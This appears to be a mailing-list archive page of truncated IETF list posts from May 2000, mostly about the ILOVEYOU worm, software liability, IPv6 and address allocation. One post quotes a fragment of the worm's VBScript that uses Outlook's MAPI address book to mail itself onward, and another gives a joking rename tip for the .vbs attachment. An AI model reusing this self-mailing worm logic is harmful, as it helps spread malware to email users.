kindly check the attached LOVELETTER coming from me.
LOVE-LETTER-FOR-YOU.TXT.vbs
At 20.39 -0400 0-05-04, Keith Moore wrote:
but sooner or later folks are going to be held liable for poor engineering
or poor implementation of networking software, just like folks today can be
held liable for poor engineering or implementation of bridges or buildings.
This discussion is
Title: RE: viruses on UNIX vs. Windows
Keith ( all),
Very interesting considerations, I subscribe your point of view. You can imagine when MS will be splitted (may be not in the near future, let's say within 3/4 years), the new company, let's call it GateSoft, will release GateSoft Office
"Gazal, Elly" wrote:
kindly check the attached LOVELETTER coming from me.
Just in case you hadn't noticed, and nobody else had told you, you've
just sent out the ILUVYOU (mangled to get through mail filters) virus
out to [EMAIL PROTECTED] anybody else reading this might be advised (if
you're
"spyder" wrote:
...
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
...
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf"kindly check the attached LOVELETTER
Jacob,
in my mind the people most responsible for the viruses are those who
built systems that were so easily compromised.
we don't need protocol support to track them down.
Keith
--On Sunday, 07 May, 2000 11:17 -0400 Keith Moore
[EMAIL PROTECTED] wrote:
in my mind the people most responsible for the viruses are
those who built systems that were so easily compromised.
we don't need protocol support to track them down.
Keith,
This is a difficult issue and, IMO, a
Keith Moore [EMAIL PROTECTED] wrote:
but sooner or later folks are going to be held liable for poor engineering
or poor implementation of networking software, just like folks today can be
held liable for poor engineering or implementation of bridges or buildings.
I don't see how, as long as
Date: Sun, 7 May 2000 17:55:19 +0200
To: IETF general mailing list [EMAIL PROTECTED]
From: Jacob Palme [EMAIL PROTECTED]
Subject: Re: VIRUS WARNING
[...]
I have
set my MS Office programs to always ask me before running a
macro in an unkown file in it. The advantage is less risk for
Learn how to make a virus ;)
Just rename ***.TXT.vbs - ***.TXT (right click and 'rename',don't double
click on the name...)
- Original Message -
From: Paul Robinson [EMAIL PROTECTED]
To: Gazal, Elly [EMAIL PROTECTED]
Cc: IETF [EMAIL PROTECTED]
Sent: Sunday, May 07, 2000 3:12 PM
Subject:
but sooner or later folks are going to be held liable for poor engineering
or poor implementation of networking software, just like folks today can be
held liable for poor engineering or implementation of bridges or buildings.
This discussion is highly relevant to the IETF list, if we
Mathis Jim-AJM005 [EMAIL PROTECTED] wrote:
We need to move forward with IPv6 both by deploying it in
the "core" and setting a time-frame after which non-IPv4
compatible addresses will be assigned. Unless there is a
clear reason to move, no one wants to change software just
to change. Once
1/ i think microsoft and the alleged hacker have provived an exxcellent lesson in
active networks
2/ is anyone interested in jamming at the next IETF (folk, jazz, rock, thrash, triphop
etc - you know, primal
scream...) - i can bring a guitar (or bass or flute or something...) but local
Jacob,
Given a choice between reducing crime via more government surveillance
and reducing crime via software that doesn't do stupid things, I'd far
prefer the latter. I don't know of any good reason for a mail reader
to make it so easy to execute code that can have harmful side effects,
but
but sooner or later folks are going to be held liable for poor engineering
or poor implementation of networking software, just like folks today can be
held liable for poor engineering or implementation of bridges or buildings.
I don't see how, as long as the software manufacturers ship
Keith Moore writes:
| the core will support v6 when it makes economic sense - i.e. when
| top tier ISPs can save enough on bandwidth and support costs (as compared
| to tunneling) to make the investment worthwhile.
Perry Metzger had this to say a long time ago (1999 12 03):
Peter made the
On Sun, 7 May 2000, Jon Crowcroft wrote:
2/ is anyone interested in jamming at the next IETF (folk, jazz, rock,
thrash, triphop etc - you know, primal scream...) - i can bring a guitar
(or bass or flute or something...) but local folks would be easier on
the wrists!!!
I just got a bodhran
I'll bring some harmonmicas!
At 09:36 PM 5/7/2000 +, Tripp Lilley wrote:
On Sun, 7 May 2000, Jon Crowcroft wrote:
2/ is anyone interested in jamming at the next IETF (folk, jazz, rock,
thrash, triphop etc - you know, primal scream...) - i can bring a guitar
(or bass or flute or
Sigh,
Please -NOT- the PIARA again. There is near zero value in the
number/address and very real value in the routing slot. Perhaps it is
best to simply have ebone route filter on the /16 boundaries to drive
home your point. (being cranky this morning)
% I would like to see a market
Heh.
I know someone who wants to offer a class B at seven figures and for class B's
that "sold" for 5 figures. And you say addresses have no value.
Ah, nostalgia. It's so nice to revisit old "discussions"...
Rgds,
-drc
Bill Manning wrote:
Sigh,
Please -NOT- the PIARA again.
20 matches
Mail list logo
